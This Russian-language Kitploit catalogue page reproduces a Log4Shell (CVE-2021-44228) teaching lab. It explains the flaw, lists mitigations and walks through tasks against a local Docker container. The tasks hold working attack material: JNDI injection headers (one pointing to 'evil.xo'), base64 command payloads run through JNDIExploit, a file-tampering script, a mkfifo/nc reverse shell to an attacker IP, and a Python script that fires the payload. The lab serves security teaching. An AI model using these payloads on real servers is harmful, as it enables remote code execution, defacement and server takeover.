Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Log4Shell-CVE-2021-44228-Demo — Демонстрация Log4Shell CVE-2021-44228 | Kitploit
Инструменты/GitHubGitHub/ra890927/log4shell-cve-2021-44228-demo
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийКомандование и УправлениеОбучение и ОбразованиеИнструмент Удаленного ДоступаЛаборатории и Практика
GitHub
ra890927/log4shell-cve-2021-44228-demo

Log4Shell-CVE-2021-44228-Demo

Демонстрация Log4Shell CVE-2021-44228

Репозиторий
34 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Демонстрация CVE-2021–44228

1. Введение в CVE-2021–44228

Крупнейшей новостью в сфере безопасности в конце 2021 года была уязвимость Log4j, обозначенная как CVE-2021-44228, также известная как Log4Shell. По шкале CVSS она получила самый высокий уровень серьезности — 10 баллов, и считается самой значительной уязвимостью последних лет после Heartbleed и ShellShock. Некоторые даже называют ее «ядерной бомбой», что показывает глубину воздействия этой уязвимости. Данный проект посвящен анализу CVE-2021-44228 с практической лабораторной работой.

2. О Log4j

Logfile (файл журнала) — это файл, в котором регистрируются события, происходящие в работающей операционной системе или программном обеспечении, или сообщения, передаваемые между пользователями в программах чата. Многие операционные системы, программные фреймворки и программы включают системы журналирования. В Java есть удобный пакет для ведения журналов, который называется Log4j. Этот пакет принадлежит Apache Software Foundation, поэтому полное название — Apache Log4j.

Log4j — очень удобный инструмент, широко используемый в Java-программах. Часто разработчикам необходимо записывать данные выполняемых программ в файлы журналов или в другие базы данных для последующего использования. Для этого и нужен Log4j: он принимает строку из одного места (например, ID пользователя, введенный на экране входа) и записывает эту строку в другое место (например, поле ввода данных процесса аутентификации). Помимо простого копирования/вставки, Log4j может просматривать и интерпретировать содержимое строк. А интерпретация — это опасное действие, потому что если программа предварительно не очистит строку, при интерпретации могут возникнуть проблемы. Log4j не очищает строку перед интерпретацией, поэтому у атакующего есть возможность провести инъекционную атаку (injection).

3 CVE-2021–44228

CVE-2021-44228 — это критическая уязвимость, поскольку она позволяет неаутентифицированному злоумышленнику выполнить RCE (Remote Code Execution) на Java-сервере. Уязвимость возникает из-за того, как log4j обрабатывает сообщения журнала. Если злоумышленник отправит специально обработанное сообщение (содержащее строку типа ${jndi:ldap://rogueldapserver.com/a}), это может привести к загрузке внешнего класса или поиску сообщения и выполнению кода, что приводит к RCE.

Ниже приведен базовый процесс RCE.

  1. Злоумышленник отправляет запрос с инъекцией на уязвимый сервер. Например, отправляет HTTP-запрос:
    root@kitploit:~
    $ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
    
  2. Переданная строка передается log4j для записи журнала. При этом Log4j также получает ${jndi:ldap://evil.xo/x}
  3. Log4j просматривает и интерпретирует содержимое строки, затем JNDI (Java Naming and Directory Interface) обращается к LDAP-серверу. LDAP — это сетевой протокол, обеспечивающий контроль доступа и поддержку распределенной информации через IP.
  4. LDAP-сервер является вредоносным: получив JNDI-запрос, он анализирует внедренное содержимое и возвращает JNDI необходимый каталог, содержащий вредоносный Java-класс или команду.
  5. Уязвимый сервер выполняет полученный от JNDI ответ, инъекция злоумышленника успешна.

Как защититься от уязвимости Log4j

  1. Используйте последнюю версию Log4j для пересборки пакетов программы (текущая версия 2.17.xx), также проверяйте последние исправления на сайте Apache Foundation.
  2. Установите WAF (Web application firewall) с правилами обнаружения вторжений для фильтрации входных строк log4j, но это скорее временное решение, так как злоумышленники могут скрывать строки, например, используя кодировку base64 для обхода сканирования.
  3. Временно отключите функцию журналирования до исправления или
  4. обновления кода. Возможно, вам придется закомментировать все вызовы Log4j, поэтому приложение может потерять некоторые функции, например, возможность передачи сообщения от одного пользователя другому. Кстати, именно так была обнаружена эта уязвимость: игрок Minecraft заметил, что если вставить команду Log4j в чат, то она выполняется как команда, а не отправляется как сообщение.

Лабораторная среда

1. Настройка среды

Пожалуйста, сначала загрузите SEED Ubuntu 20.04 VM, на которой предоставлена настроенная среда Docker. Скачать

Скачать JNDIExploit

root@kitploit:~
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip

Настройка контейнера

root@kitploit:~
$ docker-compose build  # Build the container image
$ docker-compose up     # Start the container
$ docker-compose down   # Shut down the container

# Aliases for the Compose commands above
$ dcbuild   # Alias for: docker-compose build
$ dcup      # Alias for: docker-compose up
$ dcdown    # Alias for: docker-compose down

Команды контейнера

root@kitploit:~
$ dockps        # Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id>   # Alias for: docker exec -it <id> /bin/bash

# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#

Для упрощения шагов все серверы находятся в одной локальной сети.

Лабораторное задание

Задание 1: Использование Log4j

В этом задании пользователь может ознакомиться с тем, как работает log4j. Пользователь может использовать заголовок X-Api-Version для записи лога с помощью log4j

root@kitploit:~
# <> — это содержимое, которое нужно изменить пользователю
$ curl <server:ip> -H 'X-Api-Version: <version-number>'

Если сервер правильно обработает ваш запрос, он вернет Hello World!. Запишите в отчет результат, возвращенный сервером, и правильно ли сервер обработал запрос и записал лог.

Задание 2: Запуск Log4Shell

В 2013 году в пакет Log4j был добавлен плагин «JNDILookup», позволяющий разработчикам использовать JNDI в сочетании с LDAP для получения внешних Java-объектов из JNDITutorial.

Далее мы будем использовать только что использованный log4j вместе с JNDIExploit, чтобы заставить сервер выполнить команду, которую мы хотим.

root@kitploit:~
# <> — это содержимое, которое нужно изменить пользователю
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'

Пожалуйста, создайте файл secret.txt в папке /tmp и войдите на сервер, чтобы проверить, успешно ли создан файл.


Примечание-1: <content> нельзя вставлять напрямую команду, необходимо преобразование
Примечание-2: Поскольку у vulnerable-app нет оболочки /bin/bash, для проверки файла можно использовать команду docker

root@kitploit:~
$ docker exec vulnerable-app ls /tmp

Подробное использование JNDIExploit

Задание 3: Изменение файла сервера

После предыдущего задания мы обнаружили, что vulnerable-app выполняет любую команду злоумышленника в base64. Если злоумышленник хочет выполнить более сложные операции, он может отправить скрипт shell script для выполнения на сервере.

root@kitploit:~
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html

Выше приведен скрипт для изменения оценки на сайте. Оценка хранится в index.html. Сначала успешно выполните его и укажите, в чем отличие. Затем измените этот скрипт так, чтобы файл оценки изменялся на нужное вам число.


Примечание-1: Удобный способ изменить файл — использовать sed
Примечание-2: Поскольку vulnerable-app не позволяет пользователю просматривать /var/www через браузер, для проверки файла можно использовать команду docker

root@kitploit:~
$ docker exec vulnerable-app cat /var/www/index.html

Задание 4: Создание обратной оболочки с помощью Log4Shell

После предыдущих заданий мы уже можем преобразовать нужную команду в base64 и заставить сервер выполнить её. Чтобы полностью контролировать сервер, можно с помощью команд создать reverse shell.

root@kitploit:~
# <> — это содержимое, которое нужно изменить пользователю
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>

Для удобства мы предоставляем скрипт на Python для атаки.

root@kitploit:~
import os
import sys
import base64
import requests
                    
ldap = '###'        # user modify
server_ip = '###'   # user modify

cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
root@kitploit:~
$ ./script '<command>'

Примечание: У vulnerable-app нет /bin/bash и /dev/tcp, поэтому нельзя использовать обычный reverse shell, но можно создать файл pipe для чтения/записи.

root@kitploit:~
$ mkfifo <file-name>

Ссылки

https://github.com/christophetd/log4shell-vulnerable-app
https://github.com/BabooPan/Log4Shell-CVE-2021-44228-Demo
https://github.com/Mr-xn/JNDIExploit-1
https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9641

Скачать инструмент